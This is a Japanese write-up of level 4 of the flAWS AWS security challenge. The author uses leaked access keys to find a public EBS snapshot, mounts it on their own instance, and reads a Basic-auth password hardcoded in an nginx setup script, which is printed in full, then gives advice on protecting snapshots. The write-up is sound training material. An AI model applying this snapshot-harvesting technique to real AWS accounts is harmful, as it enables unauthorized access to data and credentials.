flAWSレベル4です

今回はレベル4に取り組みます。
設問は次の通り

For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

とりあえず、設問で示されたレベル5のページにアクセスしてみます。

Basic認証が設定されていて、コンテンツにアクセスできません。
今回はここを突破するのが目標のようです。

情報を探す

レベル3でアクセスキーを入手できているので、それを使ってアカウントIDを確認します。

% aws --profile flaws sts get-caller-identity
{
    "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/backup"
}

入手したアカウントIDを使って、アカウント内のスナップショットを見つけます。
このような道筋は見当がつかなかったので、ヒントをもとに進めています、

% aws --profile flaws ec2 describe-snapshots --owner-id 975426262029
{
    "Snapshots": [
        {
            "Description": "",
            "Encrypted": false,
            "OwnerId": "975426262029",
            "Progress": "100%",
            "SnapshotId": "snap-0b49342abd1bdcb89",
            "StartTime": "2017-02-28T01:35:12+00:00",
            "State": "completed",
            "VolumeId": "vol-04f1c039bc13ea950",
            "VolumeSize": 8,
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "flaws backup 2017.02.27"
                }
            ],
            "StorageTier": "standard"
        }
    ]
}

スナップショットを見つけることができたので、中身を見たいところです。
自分のアカウントにインスタンスを作成して、そこにこのスナップショットを使用したボリュームをアタッチすることで中身を見てみます。

インスタンスを作成する

まず自分のAWSアカウント管理画面からEC2インスタンスを作成します。

先ほど見つけたflAWSのスナップショットはオレゴンリージョンに存在するので、インスタンスもオレゴンで作成する必要があります。

初期設定の中に「ストレージの設定」があるので、そこで「アドバンスト」を選択し、「新しいボリュームを追加」を選択します。

ボリューム2（custom）の「スナップショット」の部分で、先ほど記録したスナップショットIDを入力します。

あとは、このままインスタンスの作成を完了し、インスタンスを起動させます。

スナップショットを探索する

AWS公式ドキュメントのアタッチ済みボリュームのフォーマットとマウントを参照して、先ほどアタッチしたボリュームの中身を探索します。

まずは、作成したインスタンスにSSHログインします。

> ssh -i "key.pem" [e-mail]
Register this system with Red Hat Insights: insights-client --register
Create an account or view all your systems at https://red.ht/insights-dashboard
Last login: Fri Apr  7 04:23:21 2023 from 180.42.83.120
[ec2-user@ ~]$

使用可能なディスクデバイスとマウントポイントを確認します。
ルートボリュームであるxvdaのほかに、”xvdb”が確認できます。
ここでは/devが省略されていることに注意します。

[ec2-user@ ~]$ lsblk
NAME    MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
xvda    202:0    0   10G  0 disk 
├─xvda1 202:1    0    1M  0 part 
├─xvda2 202:2    0  200M  0 part /boot/efi
├─xvda3 202:3    0  500M  0 part /boot
└─xvda4 202:4    0  9.3G  0 part /
xvdb    202:16   0    8G  0 disk 
└─xvdb1 202:17   0    8G  0 part 

xvdbのファイルタイプを確認しておきます。

[ec2-user@ ~]$ sudo file -s /dev/xvdb1
/dev/xvdb1: Linux rev 1.0 ext4 filesystem data, UUID=5a2075d0-d095-4511-bef9-802fd8a7610e, volume name "cloudimg-rootfs" (needs journal recovery) (extents) (large files) (huge files)

xvdb1のファイルタイプが「ファイルシステム」であることが確認できたので、これをマウントします。

[ec2-user@ ~]$ sudo mount /dev/xvdb1 /mnt

これで、マウントポイント/mntを指定してxvdb内を見れるようになりました。
つまり、flAWSアカウントにあったスナップショットの中身が見れる状態です。
早速見てみます。

[ec2-user@ ~]$ ls -la /mnt
total 108
drwxr-xr-x. 23 root root  4096 Feb 22  2017 .
dr-xr-xr-x. 19 root root   246 Apr  8 14:20 ..
drwxr-xr-x.  2 root root  4096 Feb 13  2017 bin
drwxr-xr-x.  3 root root  4096 Feb 22  2017 boot
drwxr-xr-x.  5 root root  4096 Jan 13  2017 dev
drwxr-xr-x. 94 root root  4096 Feb 19  2017 etc
drwxr-xr-x.  3 root root  4096 Feb 12  2017 home
lrwxrwxrwx.  1 root root    32 Feb 22  2017 initrd.img -> boot/initrd.img-4.4.0-64-generic
lrwxrwxrwx.  1 root root    32 Feb 21  2017 initrd.img.old -> boot/initrd.img-4.4.0-63-generic
drwxr-xr-x. 21 root root  4096 Jan 13  2017 lib
drwxr-xr-x.  2 root root  4096 Jan 13  2017 lib64
drwx------.  2 root root 16384 Jan 13  2017 lost+found
drwxr-xr-x.  2 root root  4096 Jan 13  2017 media
drwxr-xr-x.  2 root root  4096 Jan 13  2017 mnt
drwxr-xr-x.  2 root root  4096 Jan 13  2017 opt
drwxr-xr-x.  2 root root  4096 Apr 12  2016 proc
drwx------.  3 root root  4096 Feb 19  2017 root
drwxr-xr-x.  6 root root  4096 Jan 13  2017 run
drwxr-xr-x.  2 root root 12288 Feb 13  2017 sbin
drwxr-xr-x.  2 root root  4096 Jan  3  2017 snap
drwxr-xr-x.  2 root root  4096 Jan 13  2017 srv
drwxr-xr-x.  2 root root  4096 Feb  5  2016 sys
drwxrwxrwt.  8 root root  4096 Feb 28  2017 tmp
drwxr-xr-x. 10 root root  4096 Jan 13  2017 usr
drwxr-xr-x. 14 root root  4096 Feb 12  2017 var
lrwxrwxrwx.  1 root root    29 Feb 22  2017 vmlinuz -> boot/vmlinuz-4.4.0-64-generic
lrwxrwxrwx.  1 root root    29 Feb 21  2017 vmlinuz.old -> boot/vmlinuz-4.4.0-63-generic

linuxの構成ファイルを見ることができました。
ホームディレクトリでユーザーを見てみます。

[ec2-user@ ~]$ cd /mnt/home
[ec2-user@ home]$ ls
ubuntu
[ec2-user@ home]$ cd ubuntu/
[ec2-user@ ubuntu]$ ls
meta-data  setupNginx.sh

ユーザー名「ubuntu」が存在しており、
エンジンエックスに関するシェルスクリプトを見つけることができました。

シェルスクリプトの中身は単純で、ベーシック認証の設定を1行で直書きする形のコマンドです。
コマンドにパスワードを直書きするとヒストリーに残っちゃうし、パスワードを平文で保存しておくと、こうやって見つけられて丸見えになります。

[ec2-user@ ubuntu]$ less setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

つまりこれが冒頭のベーシック認証の認証情報であり、本来見つかってはいけなかった機密情報です。

レベル5に到達する

この認証情報をレベル5のページに入力します。

そうするとレベル5に到達できました。今回も祝いの言葉はなしです。

問題を回避する

今回は、スナップショットが十分に保護されていなかったことが問題でした。
スナップショットは通常バックアップの目的で作成されますが、人によっては自分のEC2インスタンスのパスワードを忘れた時のためにスナップショットを使用しているそうです。
そのスナップショットを使用すれば、新しいインスタンスに乗り換えて、引き続きデータにアクセスできるからです。

でもこれは、AWSアカウントに侵入者がやってきたときにも、同じ行動を許してしまうことになります。
攻撃者は、今回やったようにスナップショットを見つけ、攻撃者自身のAWSアカウントでインスタンスを新規作成し、標的のスナップショットをマウントすることができてしまいます。

アカウントのアクセスキーが漏洩してしまうケースは少なからず発生しているので、万が一に備えてスナップショットの保護をしておく必要があります。